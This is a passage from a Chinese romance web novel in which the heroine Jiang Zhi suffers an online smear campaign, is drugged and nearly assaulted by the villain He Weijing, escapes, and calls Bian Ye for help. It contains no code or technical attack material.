微张的唇露出清浅的气息,勾得他几乎要被那股火烧毁。 男人骨节分明的手掌探上去,攥住她腕骨。 一路带着那只皙白柔软的手往他腰间过去。 姜栀心跳加快。 他腰间肌理精装,即便隔着衬衫也能感受到,指尖像着了火一样, 在分界线处停下。 金属卡扣隔着皮肤传来几丝凉意, 她眼睫不由颤动,如蝴蝶扇动翅膀。 “怕?” 他声音比刚才又嘶哑一些。 “啊?”姜栀茫然了一瞬, 不停地眨眼,耳根发烫,“不、不怕。” “嗯。”他黑眸水沉沉的,像是要把人吞噬掉。 昏暗的地灯光晕里,姜栀羞窘难当的咬着唇,整张脸几乎要滴出血来。 恨不得找个地洞钻进去。 脸颊、耳根、脖颈、掌心,浑身上下的每一寸皮肤都在发烫,像身处蒸笼似的。她呼吸闷热,目光漂移的没有安放之处。 边野本就锻炼的精壮,血脉偾张里,隐在肌肤里的青筋在脖颈处凸出。 和他的身量相比,她实在娇小。 还是太瘦了。 外面高楼大厦的霓虹灯光轮换了一次又一次。 姜栀秀气的眉头蹙着,面颊滴血。像是浓烈的夏日里顶着刺目的耀阳插了一地禾苗,酸痛在血液和筋脉里翻滚。 她眼眸湿濡地望着他,他额间似乎有细密的汗。 “别这么看我。”边野的声音像是在滚烫的沙漠里滚过,喉咙里卡着砾子,磨着他每一根神经。 墙上的钟滴答滴答地走针,在昏暗的卧室里与浮漫着的沉闷气息交织融合。 她锁骨与脖颈连接出优美的线条,秀发此时早已散地落在身后。 边野指骨分明,插.进她柔软乌黑的发丝里,缓缓收力,拧沉的眉头像被平整铺开的纸张舒展而开。 先前快要烧毁他的不甘与不得,一下子没了尖锐的利刺,不再扎得他四处泛痛、血肉分离。 那些难熬的过去,囚困压抑他许久的精神枷锁终于从某处切断,让他能有余力去挣脱,去窥见一丝曙光。 外面夜色沉浓如墨,卧室里一片寂静。 和男人的硬朗骨感不同,她像柔软丝滑的绸缎,没有骨头似的。 边野沉敛地低着眉眼,瞳眸像汹涌过后的海面,平静安宁。和在饭桌上对她的冷厉不同,有种可以接近的错觉。 他此刻离她这样近,身上清冽好闻的气息如今含混着几分热意在鼻间流窜。 虽然还是没什么情绪,可她隐约能感觉到一点那种笼罩在他周身的阴冷大雾在缓慢散去。 “等着。”他声音低沉,这种时候有着难言的好听。 姜栀愣了一下,回神才发现他已经起身,她真就乖乖坐在原地。 周遭安静,一股淅淅沥沥的水声隔着道门隐约传来,落进耳鼓,姜栀原本褪去了大半红意的面颊突然就烧起来,顿时有些坐立难安。 莫名的羞窘在胸腔里四窜,她慌乱地眨了眨眼,鸵鸟似的跑了- 回到家,姜栀脱力似的靠在墙边。 低眸望着自己的手,想到他侵略性的吻和发了疯似的占有,还有那无法直视的场面与他长吁的气息。 羞窘的同时,还有些出神。 他们现在这样,算什么。 是该像正常的成年人那样,忘掉今晚的一切,心照不宣的让它过去吗。 手机忽然响起,将她的思绪拉回来。 她摸出来一看,是个陌生号码。 一瞬间,她想起贺为京那张脸,但这串号码似曾相识。 屏了呼吸,姜栀犹豫着接通,随时保持着警惕。 她没说话,只等着对面出声。 “记得洗手。” 低沉熟悉的嗓音隔着电波传来,她愣了一下,才反应过来是边野。竖起的警戒心在悄然褪去。 明白他在提什么,姜栀稍作平静的心绪再次羞窘地波动起来,耳尖和脸颊一瞬蹿红,她很低很低地应了声。 气氛沉静。 对面不说话,她也不说话。 边野倚靠在阳台的栏杆上,沉淡的目光看向远处的景光,“没什么要对我说的?” 譬如为什么要在高中时期和白司裴演那样一场戏,那个吻到底是真的假的。又譬如今天怎么会突然跟他说起关于白司裴的事。 那晚不是已经在他面前默认了吗。 姜栀愣了两秒,她垂眸看着鞋尖,知道他在问什么。 “觉得应该告诉你。”告诉你我并不想看你这样受折磨。 哪怕晚了很久,哪怕只能弥补一点。 “还有呢?” 他紧追着问。 还有…… 姜栀想起苏明歆找她说的那些暗含威胁的话,还有那场让他在重症监护室里待了好几天的车祸。 可这些都不能说。 至少现在不能说,苏明歆还在边家一天,还是边叔叔的秘书。而边野,他现在的事业很好,只要不和苏明歆对上,就不会出事。 那样不择手段的人,即便地位不比边野,她也还是会担心他受伤。 她没办法再看一次他进重症监护室。 姜栀很轻地眨动眼睛。 她声音温软起来有种吴侬软语感,“晚上不要吃药了吧,或者隔得久一点。早点休息。” 边野握着手机,隔着电波感受她的温度。 还是不肯说。 他眸底幽暗,脸色淡淡。 最后什么也没应,挂断了电话。 从阳台走进去,地灯朦胧地映着他的影子。 边野走到床边,看着一旁柜子上的那几粒被捡起来整齐摆放着的药,他指尖拨动了下,悉数进了垃圾桶。 那只药瓶也被他丢回了抽屉里。 他转头看着被挤压得乱七八糟的软被,那样激烈疯狂的画面清晰地在眼前浮现。 指尖拂过她压过的地方,边野喉结滑动了下。 这么多年清心寡欲,逼着自己不去想她念她,竟也熬过来。 可现在,他尝过最美的滋味,会上瘾,会想要在浴室、客厅、厨房,每一个地方都留下她的痕迹- 姜栀周一去上班时,像往常那样和大家打招呼,但他们都回应得很敷衍,看向她的眼神里仿佛蕴含着什么,令人奇怪不安。 她不是什么难相处的人,在公司里唯一不对付的只有叶霜乔。 短暂的疑惑了下,她便没放在心上。 走到工位上,姜栀刚放下背包,就见叶霜乔啃着个苹果从茶水间出来,看到她时笑得十分幸灾乐祸。 “还以为我们的大美女只是在搞业绩的时候出卖出卖色相,没想到学生时代就水性杨花,还搞劈腿这套,脚踩两只船,你可真能耐啊。” 姜栀眉头轻蹙,眼底透着不解。 “你说什么?” 叶霜乔戏谑勾唇,“你是真不知道还是装不知道啊,现在大家都知道了,你那些业绩全都是靠身体换来的。” 她眼底浮出点钦佩来,“为了这点工资牺牲到这种程度,还带着团队一起拿奖金,我说姜栀,你图什么?你当自己是活菩萨拯救众生啊?” “你看看他们,钱一分不少拿,有人出来替你说一句好话吗?” 姜栀脸色冷下去,不想跟她多纠缠。 这种编排的话从她嘴里出来都不是一次两次了。 “你要是这么闲,不如让主管——” 她话还没说完,上次那个收了紫玫瑰的实习生忽然惴惴地喊她,然后把手机递了过去,“知知姐,要不你先看看这个……” 姜栀接过,低眸看了眼,神色微微凝住。 视频里轮播着数张照片,前面都是她高中时和边野待在一起的画面,眉眼交流间举动暧昧,甚至有很亲密的姿态。 而后面一小部分是拍的是她和白司裴,看起来依旧亲密无间。 这条视频的发布时间是半夜,标题取得更是泼满了脏水,明指她同时玩弄两个男生,道德败坏,人品低劣。 视频点赞近百万,已经上了视频平台的热搜。 她眉头皱紧,点开评论区。 无数难听肮脏不择口的话像倾泻的瀑布朝她汹涌袭来,大有将她淹死之势。 [姐妹们,扒出来了,她本来就是个小康家庭,父母车祸去世,就她自己活下来了,然后寄养在边家,不知道的人我给你们科普一下边家和白家的权势,请看下图。这个女的贪慕虚荣,小小年纪勾引恩人的儿子不够,还要勾引白家的独子,真是逼脸不要。她爹妈要是知道,估计都后悔给她生出来。] [卧槽,亏我之前刷到那个听讲座的视频还夸她漂亮,心居然这么黑。知人知面不知心,跟我一个性别,我都觉得恶心!] [听说还是圣嘉的学霸,学霸就是懂得多,高中勾引同学,上班勾引合作的甲方,这他妈千人枕万人骑了吧!就是因为有这种人才让我们这些老老实实求上进的人显得可笑呆板,努力几年还不如人家睡一觉,真他妈绝!] …… 太多了。 她根本翻不过来。 这些人隔着网络与她往日无冤近日无仇,却不惮于最恶毒的话来揣测她攻击她,甚至已经有人把她父母叫什么,她现在在哪个公司工作都扒了出来。 就差公布她的身份证了。 姜栀紧握着手机,心底凉意和恐慌一层层漫上来。 围剿她的呼吸。 顺着这条视频,还有另一条仅次于这个热度的。 她点开。 是个问答形式的采访,看不到采访人的脸,却能看到被采访者——她曾经谈过合作的甲方文总。 她记得这个大腹便便的男人。 在她第一次去谈合作的时候就看上了她这张脸,各种威逼利诱的话语只为了让她做他婚外的情人。在她婉拒后,还试图揩油,忍无可忍泼了他一杯水,合作自然也没谈成。 姜栀没想过还会再有机会看到这张令她倒胃口的脸。 视频的油腻男正在惋惜:“我都说了我是个有家室的人,就算她再年轻漂亮我也要守住我的底线,再说了,如果人人都想走这种捷径,那真正干实事的人谁还看得见?” “合作就是合作,公是公私是私,怎么能混为一谈。” 视频末尾,他一脸过来的人神色看着镜头,语重心长道:“小姑娘,想赚钱是好事,但不能用错了方法,你还年轻,一定要自重自爱,我也有个女儿,如果有一天她像你这样,我会很难过。” 无数恶寒与讽刺在胸口盘旋,姜栀盯着手机久久没动。 视频已经在播放不知道第几遍了。 叶霜乔还在火上浇油,“刚不还嘴硬呢吗,非得证据砸脸上,现在疼不疼啊。” “长得漂亮有什么用,招惹一身腥,最好别祸害到公司。” 有同事拉了拉她,示意她别说了。 她冷哼一声,见姜栀这丢了魂的样子也懒得再说。 实习生有点担心她,试探着轻轻出声:“知知姐,你还好吗?” 姜栀一动没动,连眼睛都没眨一下。 “知知姐?”实习生在她面前挥了挥手。 她总算回神,眼睫动了动,把手机还回去,扯了扯嘴角反过来安抚她,“我没事,你做自己的事去吧。” 实习生面露担忧地回到自己工位上。 姜栀努力让自己去忽略那些难听的话,逼着自己从里面剥离出来。 她只是个素人,并不是万人关注的明星。 先不说这些不是真的,她的私生活怎么可能会引起路人这么大兴趣,即便当时临姚讲座的那条视频有些热度,也到不了现在这个程度。 凌晨发布,天一亮就已经传播得这么广。 背后一定有人在推波助澜。 她身上有什么可取的利益? 姜栀想了半天也没想出来,她不过就是个普通人,除了上班的这些价值,别的都没有,如此大费周章,就好像…… 她脑子里糊住了片刻才通透过来。 就好像有人想通过她做点什么,这件事看起来很像个挡箭牌。 姜栀内心逐渐肯定这个想法。 除此之外,她想不出推波助澜的原因。 她得好好想想,到底是谁要这么做。 林主管来时,正巧看到她低垂着眼睫,一脸凝重的模样。她消息快,这些事在来的路上都已经知道了,但她无条件信任姜栀。 姜栀是她招进来的人,两年多,她看得明白,绝不是这种肤浅不自重的人。 怕她被伤害到,林主管走过去拍了拍她肩膀,眼底是肯定,“你好好工作,别被这些乱七八糟的事情影响,有我在呢。” 姜栀眼眶一热,笑得有些酸涩,“谢谢主管。” 不实的传言下,她先行报了警,做了线上记录,又像平台申请索要发布不实信息的这些视频号与扒她信息泼脏水的网友的真实身份信息。 她不疾不徐地做着每一件事。 做完这些,姜栀翻出文总的电话,但人早就给她拉黑了,她打不出去。 只能等下班,她亲自去一趟他的公司,问问事情原委。 然而还没等到下班,公司就传出消息,月前谈好的一家甲方公司现在临时撤回合作,打电话也不愿意接。 紧接着是第二家、第三家。 群众的呼声太高,事态发展的速度远超出了她的想象。 网上都在叫嚣着让智启开除姜栀,扬言这样的人不配拿工资,不配有工作。 那些人气势汹汹,像个正义使者,把她鞭挞在十字架下。 老板实在焦头烂额,但也没一口开除她,只让她先回家休息,等风波过去了再回来上班。 姜栀理解他的做法,也没抗拒。 她不能一直拖累公司。 但既然一时间不用工作,那就去想办法见见文总,她会在感情上退缩,可却不会在事业上任人欺负。 只要见到了人,这件事就有破解的机会- 芯耀科技高层办公室里,边野看着这些视频与发言时,脸色阴沉得如乌云密布,一双眼黑得能挤出墨来,浑身透着戾气。 阴骘的怒意含混在四周,他握着手机的指尖发白。 周然规规矩矩站着,半口气都不敢喘。 “让技术部一小时内破解这些视频号的背后人。”许久,他从视频里抬起冷沉摄人的视线,看得人背后只发凉。 “另外,把这些乌七八糟的营销全都消了。” 周然赶紧汇报:“来找您之前我已经让技术部去破解了,但对方加密了,可能需要点时间,其余的我会尽快去办的。” 她拿过手机,匆促地走出去。 手心汗湿一片,周然半点不敢耽误。 一门之隔。 边野紧锁的眉头仍旧收拢着,脸色阴沉难看。 手机还是没有动静。 发生这么大的事居然不知道来找他寻求帮助,是准备自己硬扛吗? 从前是这样,现在还是这样,她骨头就那么硬吗,向他求助就那么不愿意吗? 边野漆黑的瞳孔深得像不见底的汪洋,充斥着危险,像要将人溺毙。 胸腔里溢起躁意。 他拿过手机找到她的号码,却最终没有点下去,掐灭,丢在一边,心底却依旧不爽。 不久。 周然忽然急匆匆地冲进来,连门都忘记敲。 边野面色本就不好,这会儿被突然打扰,心情更差。 但她管不了这么多了,赶紧把手机扬起来给他看。 “边总,姜小姐有危险!” 边野凝眸看向手机,是一张照片。 天江大桥上,姜栀坐在高处,模样悲伤。 下面绵长流动的江水,人掉下去很难存活。 “她、她该不会是要轻生吧?”周然脸都白了。 边野呼吸有一瞬间的不畅,脑子空白一秒,他什么都不在意了,如果她死了,他永远都不会原谅她。 他起身急速地奔出去,眼底有一闪而过的慌乱。 一路超车,高速疾驰。 原本近一小时的路程,他硬生生缩短了一半,全身的神经都紧绷着,疯了一样、不要命般地开。 她不能死。 还欠他那么多,凭什么死。 桥上不能停车,他把车甩在桥下公路牙子上便使足了力气冲上桥。十月底的傍晚已经有些凉意,劲风争先恐后的灌进他鼻腔和脖子里。 跑得太急太凶,胸腔有些缺氧,肺部阵阵的疼。 直到看到她轻柔的模样,边野才猛地停下来。 气息疯狂乱窜,他胸口剧烈起伏,垂在身侧的手死死攥紧,喉间袭来丝丝缕缕的腥甜。他咬着发酸的牙关,一步一步朝她靠近。 姜栀就坐在高处,纤细笔直的双腿腾空着,轻轻晃动。 风吹起来她耳边发丝,拂过眉眼。 远处的晚霞染红了天际,像泼上去的橘色油彩,漂亮得像一幅画。 她去文总的公司没见到人,即便后来有幸见到他从外面进来,也没能说上话。他像躲瘟神似的躲着她,保安直接把她强行架了出去。 姜栀明白,文总这条路算是断了。 那就回家吧,回家先睡一觉,睡醒了再想办法。 她路过这里,正好太阳往西落下,晚霞美不胜收。 天桥上的位置正好可以坐着放放心情,因此也不知道有好几个人在远处拍她,都以为她想不开,要跳江。 “姜栀。” 吹拂而来的凉风里,一道磁沉微哑的嗓音含混着,隐匿着一丝颤意。 她愣了下,循声回头。 不远处,沈亮高挺的男人笔直地站在那儿,眉目深邃,黑眸紧紧盯着她。暮光落在他周围,削去他身上的几分戾气。 看到他,姜栀有些惊讶。 边野迎着她的视线往前了一步,那双琥珀色眼睛干净纯粹,可也染了几分悲凉。她斜侧的天际铺洒着晚霞,几乎要与她融为一体。 心脏收紧了点,他喉头艰涩,却不敢再靠近一步。 “过来。” 他声音低哑,像滚过了砂砾。 呼吸发着他自己都没注意到的颤。 姜栀以为他找自己有什么急事,想了想还是从侧面下去,意外扫到几个对着她举手机的人,敛起了视线。 她起身的那一瞬间,边野攥紧了拳头,指甲掐的掌心生疼,神经紧绷。 姜栀从上面小心地爬下来,刚落地还没怎么站稳,手臂就被一股蛮横不讲理的力道狠狠一拉。 她还没反应过来,整个人就已经跌入一个结实的胸膛。 第57章 第 57 章 他身上有股清冽的冷松气息。 姜栀脸颊压在肌肉结实的胸膛上, 隔着衣服清晰地听见他心脏跳动的声音。 咚咚—— 像急风骤雨震着她的耳鼓。 边野力道很大,单手压着她脊骨,腕骨几乎硌在她骨头上, 硬生生的疼。 他黑长的睫毛垂落, 瞳眸浓稠。被压抑的恐慌在此时像水草一样缠了上来, 每一寸肌肤都被裹覆, 呼吸艰涩。 耳旁是吹拂而过的凉风, 姜栀被他这种几乎要融入骨血的抱法压得难受, “能、能不能先放开我?” 他没说话, 也没动。 但几秒后,那股蛮力忽然松了。 得以喘息,她舒服了许多。往后退了两步,手腕又被他突然攥住。 很紧。 “就在这儿。”边野目光晦涩,声音冷沉,视线像无形的笼网困着她。 姜栀眨动了下眼睛, 露出一点迷茫, 没太听懂他这话。 “我能去哪儿?我不走。”她试图去抽手,但没抽动。 他看起来有点不对劲。 气氛沉寂。 唯有他的目光一直拢着她。 “你怎么了?”姜栀眼神微张,奇怪地看着他,这个点不应该在公司吗,怎么会在这。 “你——” “你就这么容易被打倒吗?”边野脸色沉沉地打断她,黑得能挤出墨来。 姜栀眼底浮出疑惑,片刻后才意识到他指的什么事,互联网时代果然很快, 也不知道会不会影响到他的公司。 她眼睫轻垂下去, “我已经在想办法了,只是今天可能想不出来。”明天再努力应该也可以吧。 文总不见她, 她现在没有头绪,不知道背后的触手是谁。 “所以就要跳江?”边野眉头拧起,怒意在胸口燃烧。 开口找他求助很难吗? “啊……?”这会儿她真愣住了,抬眼呆呆看着他,有种天然的萌感。 在他愠怒的神色里,姜栀突然明白过来,没忍住轻笑出声,“所以你出现在这儿是以为我不想活了吗?” 边野没说话,目光冷硬。 她抿了抿唇瓣,有股外来的暖意将她丝丝缕缕地包裹起来,手腕上那股原本攥得她有些疼的力道此刻好像也没那么明显了。 “我没有不想活。”重生回来这一遭,她最大的念想就是能好好活着,在最好的年纪可以看这个世界。 “我只是暂时想不到办法,又正好路过这儿,风景很好,我就想好好看看风景。” “求我很难吗?”边野逼近一步,幽沉的眼神在她脸上一寸寸逡巡着,像是要将她盯出个洞来。 他曾经拿命护着的人,就愿意这样被人欺负拿捏吗?知道跟他反抗,跟别人就成了哑巴? “我……不想麻烦你。”也没资格和立场。 不管幕后推手冲谁来的,都确确实实牵连到了他,如果不是她,或许他并不会被卷进来。 一道冷嗤从喉咙里溢出来,边野松了攥她的手,眼底流动着讥诮,“成年人,不就该互惠互利吗?” 姜栀瞳眸颤了下,脑子一时间有些空白。 所以那天晚上在他看来,他们是互惠互利的关系吗。 指尖微蜷,她声音很低,“给我一点时间。”就算是互利互惠她也想自己先试试。 边野垂眸睨着她,有股无名怒火无处发泄。 都不说话,耳边只有风声。 又陷入了僵持。 “我买了——” “跟我回去。” 两道声音同时响起。 姜栀愣了下,抬头对上他黑黢黢的眼睛。 “哦……” 她轻轻应了声,想起来自己的话还没说完,“那个——” 姜栀犹豫了下,还是从包里拿出那份礼物,“明天是你的生日,我私自买了这个,如果你不嫌弃的话……” 话还没说完,手里忽的一轻。 她眨巴了下眼,见他已经当着面拆开了。 里面是一条领带,黑白格的。 倒是跟他衣柜里的衣服很搭。 边野浓稠冷沉的眸子添了一丝温度。 的一种久违的熨帖从四面八方徐徐而来,缓慢的包裹着他的心脏。 姜栀没想到他拆得这样快。 有点惊讶,又有点羞涩。 见他半天不说话,只是盯着看,她有点拿不准,“你要是不喜欢的话,我——” “买之前也不问我合不合适?” 又一次,他冷淡地打断了她的话。 礼物不就讲究个惊喜吗。 姜栀唇瓣蠕动了下,到底没说出来。瞳眸里有失落划过。 “还愣着干什么?”边野眉头轻蹙,把盒子递过去点,“等着我自己试吗?” 她错愕了一瞬,明白过来,从里面将领带取出来。 圆润饱满的指尖覆在领带上,肌肤被衬得更加雪白。 他黑眸暗下去,想起那晚的触感。 柔弱无骨,软滑纤嫩。 边野个高腿长,比她多出一个头。 “你低头。” 他顺从照做。 男人松针似的额发在落在眼底,头顶有些蓬松,令人忍不住想要去触碰。 姜栀伸手去翻他衬衫的领口。纤细的手臂环在他脖子两侧。 离得近,边野能看见她雪白肌肤上的绒毛,还有漂亮的锁骨。 她身上有淡淡的清香,很好闻。 姜栀把领带绕过他脑袋,贴在衣领下,再翻折过去。 他直起身体,垂眸看着她。 纤长微卷的睫毛轻轻扇动,面颊皙白如剥了壳的鸡蛋,唇瓣柔嫩饱满。 耳边碎发不时随着风扫过嘴角。 领口一颗扣子解开着,她手法很轻地给扣上,无意识摩擦到肌肤。 边野感觉到一丝痒意,喉结滚动了下。 他惯常穿黑色衬衫,这条领带很完美的和衣服融在一起。 “好了。” 姜栀温声开口,一抬眼就撞上他幽沉的眼神。 他身上清冽的气息混着男人本身就有的浓烈荷尔蒙,朝她铺散过来。心脏在胸腔里重重跳了一声,她眼睫颤动了下。 然后,很快地往后退了两步,拉开与他的距离。 一连串的动作,很快。 边野尽收眼底,但并没有冷脸。只是也没有显现出波动的情绪。 “回家。” 他嗓音低磁,在夕阳里顺着凉风灌入耳里。 像曾经无数次那样,姜栀跟着他上了车。 他们之间难得如此平和- 姜栀回到家后,胸腔里有丝丝缕缕的甜意冒上来,像拉丝的麦芽糖。 这一天很疲惫,她洗了澡就窝进了床上。 舆论还在热烈地烧着,直到第二天晚上,她想到了贺为京。 一个许久没有出现在她面前的恶鬼。 但在盐城,她想不到还有谁要这么对付她。 哪怕只有万分之一的可能,她也要去试试,哪怕可能会再次折在他手里。 事态紧急,她已经没有更好的办法了。 至少不要把边野牵扯得越来越深。 电话接通后,对面像是不知道是她,但又似乎守株待兔似的等她出声。 姜栀暗自吸了口气,“贺少,是我。” 即便在这种冷静的时刻,她声音绷直,没什么温情,但落在贺为京耳里却是另一番滋味。他享受地闭着眼,像是浑身都被滋养了。 片刻,才勾起唇,故作不解,“你是?” “姜栀。” “哦——” 他调子故意拉长,“不是给我拉黑了吗,怎么还纡尊降贵地找上门了?” 姜栀忍耐着恶心,“那些东西是贺少放出去的对吗。” “照片、文总、视频。” 贺为京把玩着紫檀木珠,并不直接应她的话,“你想说什么?” 姜栀听出来他的警惕,淡淡道:“如果是您我想见您一面,这件事一出我才知道,边野根本不值得我去喜欢,他连为我解决问题的办法都没有。” “这样无能的人,不值得我去依靠。” 贺为京听出她话里的怒意,嘴角笑意渐浓。 好在他按捺住了。 他不会告诉她,其实边野的人已经查得很深,这件事不过是他找准了时机,苏明歆又提供了些人力技术支持罢了,所以才撑到现在。 要是再晚一天,这些视频恐怕连个影子都找不到。 再晚点,就要换他去威逼利诱她了。 可见,时机是最重要的。 贺为京心里爽快得厉害,嘴上却吊儿郎当的,“看上我了?” 姜栀闭了闭眼,暗自呼出一口气,“我想见您。” 贺为京没有不愿意的。 刚挂断电话,地址就发给她了。 姜栀盯着手机看了好一会儿才走去衣柜,找到一件及膝连衣裙。 酒红色丝绒质地。 贺为京给的地址不是什么正经地方。 会所与酒店一体的格局。 姜栀到的时候,握着包的手不由收紧。 那种无形的恐惧像爬虫一样密密麻麻地从脚底板蔓延过来,全身的神经都在紧绷,心脏快速跳动,手心发冷。 不要怕。 如果真出不来,那条定时短信会发给池念和林主管,有她们在,也许也还会有转机。 深吸了口气,她走了进去。 和上次见到边野待的会所不同,这里面纸醉金迷、酒池肉林,淫.靡的氛围浓重,所见之处都是不安分的男男女女,有些甚至没法直视。 她本就样貌惊绝,一身酒红短裙衬得肌肤胜雪,反着白光,清纯的一张脸带着媚欲,一双腿纤长笔直,这样的打扮露在人前更是吸引无数关注。 在陌生男人搭讪之前,姜栀已经快速上楼。 她平时不会这样穿,也更喜欢穿衣裤。 但这次不同。 她要见的人是贺为京。 如她所料,贺为京看到她时,一双丹凤眼瞬间亮堂起来,几乎泛着光,带着某种渴望紧紧盯着她。 “姜小姐来的倒是准时。” 这房间里除了贺为京,还有几个陪酒女,此刻看见她,也没说让这些人离开。 迎着他不怀好意的、赤裸.裸.的眼神,姜栀捏紧了掌心,努力扯出一抹温柔的笑,“如果贺少这么不待见我来,我不如回去。” 她刚要转身,贺为京轻笑一声,摆了摆手让这些人全都滚。 房间里很快就剩下她跟贺为京两个人,说不紧张是假的。 “没想到姜小姐有一天也会主动来找我。”他从沙发上起来,一步一步朝她逼近。姜栀能听见心脏在胸腔里用力震颤的声音。 她直直看着这个逐渐靠近的危险源,掐的掌心生疼才勉强忍住没有转头就跑。 “我自然是要来找能让我——” 她扯出一抹笑意,红唇勾起带着不自知的媚意。但话还没说完贺为京忽然扯了她背的包,她吓了一跳,险些惊叫出声来。 他把包倒过来,里面的东西稀稀拉拉地掉出来,砸落一地。 包括手机。 贺为京捡起她的手机,姜栀心脏高悬,嗓子眼发紧。 下一秒,她的手机被毫不留情地丢出去。 一道弧线,越过窗户。 姜栀眼睫颤了下,脸色发白,还没来得及说话,手腕就被贺为京快速握住,他埋头在她颈边深深吸了口气,血液迅速沸腾。 她浑身汗毛竖起,前世被他逼死的恨意与愤怒如尖锐的利刺不断扎进心脏。 “贺少不就是想得到我吗?”她一遍一遍地告诉自己不要功亏一篑,“我是个女人,也需要倚靠男人,贺少地位高,长得又好看,很少有人会不喜,我也不例外。” 贺为京本就肖想了她许久,直接把人搂进怀里。 “你想跟我谈条件?” 姜栀忍着心底的恶寒和恐惧,伸手搭在他肩膀上,软软的笑起来。 那双眼莹润摄人。 “我被网上那群键盘侠骂成这样,换谁也不会开心吧?我不能蒙受不白之冤,贺少现在才认识我,根本不会得到我学生时代的照片,我只想知道到底是谁这么利用您来攻击我。” 姜栀直视着他的眼睛,他眼底露出轻浮的笑。 见他不说,她只能逼着自己离他更近一些,吐气如兰,“只要贺少愿意告诉我,我愿意永远追随您,随叫随到。” 贺为京挑眉,手指抚摸她的脸颊嘴唇。 姜栀眼睫轻颤,差点躲开。 “既然你这么想知道,那我就不妨告诉你,给我这些照片的人是——” 他吊胃口般停下来,笑得得意,话头一转:“只要你今天给我伺候高兴了,别说幕后推手,网上那些流言蜚语我可以让它们消失得干干净净。” 他缓缓去凑近她的唇,姜栀指甲都掐得泛白。 “贺少如果这么想得到我,不如直说,何必让我落到这样的地步,最后还要来麻烦您?” 贺为京眉眼里露出戏谑,“你要知道,贺家的势力呼风唤雨还是没问题的。那些蠢货给点什么信息他们就信什么,我就是要让你主动来找我,求我……上你。” 她气息止不住发颤。 贺为京一把将她打横抱起,直接丢到了床上。 急促地去解自己衣服。 姜栀脸色惨白,前世的噩梦不断在眼前闪现,恐惧几乎要淹没她。 他猴急地压了上来,要强吻她。 姜栀怕出了冷汗,一边挣扎一边却又努力控制自己,“等、等等!” “贺少身上酒味和香水味太重,我闻着犯恶心,您可不可以先洗个澡,我就在这等您,还、还有惊喜要给您看!” 姜栀呼吸急促,胸口不断地起伏。 贺为京几乎扯开了她半个肩膀,却在听到她这话时,硬生生忍住了,“什么惊喜?” 她紧绷的神经有一瞬松软,故意笑得饶有意味“我了解过贺少喜欢什么,但现在说就没有惊喜了,正好你去洗个澡,出来就能看见。” 他掐住她下巴,眯起眼半是调侃半是威胁,“最好不要让我失望。” “一定。” 贺为京挑了下眉,从她身上起来。 但进浴室之前,给她递了杯水,“润润。” 刚得以喘息的姜栀眼皮子猛地一跳,不可抑制地想起上辈子的那杯果汁,她后来的所有噩梦都来源于此。 她掐紧了掌心,笑道:“您先去洗,我一会儿就喝。” 贺为京目光审视着她,也不说话。 气氛僵持。 姜栀心脏收紧,知道是非喝不可,指尖发颤地接过。 惧意、冷意一瞬间席卷全身。 她看着手里的水,闭着眼仰头一口喝尽。 “好了。”她脸色白得厉害,却仍扯出笑意。 贺为京不置可否一笑,转身进了浴室。 姜栀立即抠嗓,却根本吐出来,眼底被生理性泪水浸满,红了一圈。 药效很快,她隐隐能感受到一点眩晕。 桌上有把水果刀,她拿过毫不犹豫在手臂上划了一刀。 鲜血瞬间涌出来,剧烈的痛意刺激着神经,姜栀下床直奔门口,差点踉跄跌倒。可门不知道什么时候锁住了,无论怎么掰都打不开。 巨大的惊慌和无助像密不透风的牢笼将她罩住。 为什么,为什么。 明明来的时候很轻易的就开了,为什么现在打不开。 她急出了眼泪,后背全是冷汗。 手臂还在流血。 头又开始晕了。 “咔哒——” 浴室门忽然推开。 贺为京裹着浴巾出来,看到本该在床上等他的人早已没了影子。 脸色一冷。 “人呢?” 他四处去看,没见到人影,但地上有血滴,一路到门边。 “操!” 他直奔房间门,迅速打开朝外看。 走廊上一个人都没有。 他明明锁了门,她怎么出去的? 怒火烧起来,贺为京转身就回去准备拿手机让人调监控。 刚进门,门都还没关上,一道黑影猝然袭来。 速度极快,他根本没时间反应。 “啪”的一声,姜栀手里的花瓶重重朝他脸砸过去。 碎瓷撒了一地。 贺为京被冲击到,痛得往墙上一撞,捂着头眼睛都睁不开。 姜栀第一次砸人,她怕得手都在颤,可比这更令人恐惧的,是贺为京。她不敢迟疑,拼了命地跑出去,远远又听到他的骂声。 电梯危险性大,一路奔向逃生的安全通道。逃之前,她把一只鞋丢在电梯附近。 头好晕。 哪怕胳膊依旧刺痛,但好像不那么管用了。 她踉跄一下,差点没站稳。 坚持住。 逃出去就好了。 少了只鞋,另一只脚一路踩着地下去,没多久全是灰渍。脚底传来急促逃生带来的痛意,她强忍着,却还是在下最后一层楼梯的时候,被涌上来的晕感袭击。 没及时扶住,直接滚了下来。 痛。 全身上下没有一处不痛。 身上全是灰,她想爬起来,可好像快没力气了。 咬牙拉扯手臂的伤口,刺痛带来几分清醒。 她忍着扭伤的脚,避着人从后门逃出去。 却还是不敢停。 过于狼狈的姿态惹来不少路人侧目。 姜栀掌心都掐破了。 她快不行了。 跌跌撞撞地闯进一家苍蝇馆,她腿软地倒在地上,刚端菜上来的老板吓了一跳,反应过来后立马去扶她,“姑娘你咋了?” 店里不少人都好奇地看过来。 她穿的少,模样又惨,老板是个热心肠的,赶紧拿过一件衣服搭在她身上。 “可不可以……”姜栀已经很虚弱,药效似乎已经发作到全身了,“借我打个电话……” “好好,没问题,你撑住啊!” 老板连忙跑到收银台后拿自己手机给她,“姑娘,你打。” “谢谢。” 姜栀已经没了起来的劲,只能这么趴着,她身上手上全是灰,颤抖着去输入记在心里无数遍的号码。 电话很快通了。 “哪位?”低磁熟悉的声音传来,姜栀扯了下唇角,眼泪啪嗒一下掉在屏幕上。 眩晕像狠狠冲击礁石的浪潮,一阵一阵涌来,她艰难地喘了口气,才道:“是我……” 哪怕是气音,也已经极其虚弱。 边野正在开会,原本淡漠的脸色立时绷紧,鲜明的不对劲扑面而来,他拧着眉,“你怎么了?” 周遭高层纷纷看着他,没人敢出声。 她又掉下来一颗泪,嘴角却挂着自心底发出来的笑,“我有办法了,我有办法救——” 话还没说完,她彻底晕了过去。 “姜栀?” “姜栀!” 边野猛地从椅子上起来,脸色难看。 老板吓了一跳,赶紧去探她的鼻息,发现人还有气儿松了口气,赶紧拿过手机,“喂您好啊,她现在晕过去了,你是她朋友吧,赶紧过来一趟吧!” 得知了具体地点,边野毫不犹豫地起身离开。 高层们面面相觑。 这老板怕人有什么事,转头又打了120。 边野比120来得还快。 他一路疾驰,几乎在和时间比速度。 一进门就看到倒在地上的人。 